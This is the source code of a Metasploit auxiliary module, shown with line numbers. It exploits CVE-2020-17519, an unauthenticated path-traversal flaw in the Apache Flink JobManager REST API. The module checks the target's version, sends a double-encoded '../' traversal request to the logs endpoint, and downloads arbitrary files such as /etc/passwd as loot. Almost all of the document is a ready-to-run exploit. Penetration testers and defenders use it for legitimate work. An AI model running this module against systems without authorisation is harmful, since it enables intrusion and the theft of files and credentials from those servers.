Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Scanner
9
  include Msf::Auxiliary::Report
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Apache Flink JobManager Traversal',
16
        'Description' => %q{
17
          This module exploits an unauthenticated directory traversal vulnerability
18
          in Apache Flink versions 1.11.0 <= 1.11.2. The JobManager REST API fails
19
          to validate user-supplied log file paths, allowing retrieval of arbitrary
20
          files with the privileges of the web server user.
21

22
          This module has been tested successfully on Apache Flink version 1.11.2
23
          on Ubuntu 18.04.4.
24
        },
25
        'Author' => [
26
          '0rich1 - Ant Security FG Lab', # Vulnerability discovery
27
          'Hoa Nguyen - Suncsr Team', # Metasploit module
28
          'bcoles', # Metasploit module cleanup and improvements
29
        ],
30
        'License' => MSF_LICENSE,
31
        'References' => [
32
          ['CVE', '2020-17519'],
33
          ['CWE', '22'],
34
          ['EDB', '49398'],
35
          ['PACKETSTORM', '160849'],
36
          ['URL', 'https://www.openwall.com/lists/oss-security/2021/01/05/2'],
37
          ['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
38
        ],
39
        'DefaultOptions' => { 'RPORT' => 8081 },
40
        'DisclosureDate' => '2021-01-05',
41
        'Notes' => {
42
          'Stability' => [CRASH_SAFE],
43
          'Reliability' => [],
44
          'SideEffects' => [IOC_IN_LOGS]
45
        }
46
      )
47
    )
48

49
    register_options([
50
      OptInt.new('DEPTH', [ true, 'Depth for path traversal', 10]),
51
      OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd'])
52
    ])
53
  end
54

55
  def check_host(_ip)
56
    res = send_request_cgi({
57
      'method' => 'GET',
58
      'uri' => normalize_uri(target_uri.path, 'config')
59
    })
60

61
    unless res
62
      return Exploit::CheckCode::Unknown('No reply.')
63
    end
64

65
    unless res.body.include?('flink')
66
      return Exploit::CheckCode::Safe('Target is not Apache Flink.')
67
    end
68

69
    version = res.get_json_document['flink-version']
70

71
    if version.blank?
72
      return Exploit::CheckCode::Detected('Could not determine Apache Flink software version.')
73
    end
74

75
    if Rex::Version.new(version).between?(Rex::Version.new('1.11.0'), Rex::Version.new('1.11.2'))
76
      return Exploit::CheckCode::Appears("Apache Flink version #{version} appears vulnerable.")
77
    end
78

79
    Exploit::CheckCode::Safe("Apache Flink version #{version} is not vulnerable.")
80
  end
81

82
  def retrieve_file(depth, filepath)
83
    traversal = Rex::Text.uri_encode(Rex::Text.uri_encode("#{'../' * depth}#{filepath}", 'hex-all'))
84
    res = send_request_cgi({
85
      'method' => 'GET',
86
      'uri' => normalize_uri(target_uri.path, 'jobmanager', 'logs', traversal)
87
    })
88

89
    unless res
90
      print_error('No reply')
91
      return
92
    end
93

94
    if res.code == 404
95
      print_error('File not found')
96
      return
97
    end
98

99
    if res.code == 500
100
      print_error("Unexpected reply (HTTP #{res.code}): Server encountered an error attempting to read file")
101
      msg = res.body.scan(/Caused by: (.+?)\\n/).flatten.last
102
      print_error(msg) if msg
103
      return
104
    end
105

106
    if res.code != 200
107
      print_error("Unexpected reply (HTTP #{res.code})")
108
      return
109
    end
110

111
    res.body.to_s
112
  end
113

114
  def run_host(ip)
115
    depth = datastore['DEPTH']
116
    filepath = datastore['FILEPATH']
117

118
    print_status("Downloading #{filepath} ...")
119
    res = retrieve_file(depth, filepath)
120

121
    return if res.blank?
122

123
    print_good("Downloaded #{filepath} (#{res.length} bytes)")
124
    path = store_loot(
125
      'apache.flink.jobmanager.traversal',
126
      'text/plain',
127
      ip,
128
      res,
129
      File.basename(filepath)
130
    )
131
    print_good("File #{filepath} saved in: #{path}")
132
  end
133
end
134

135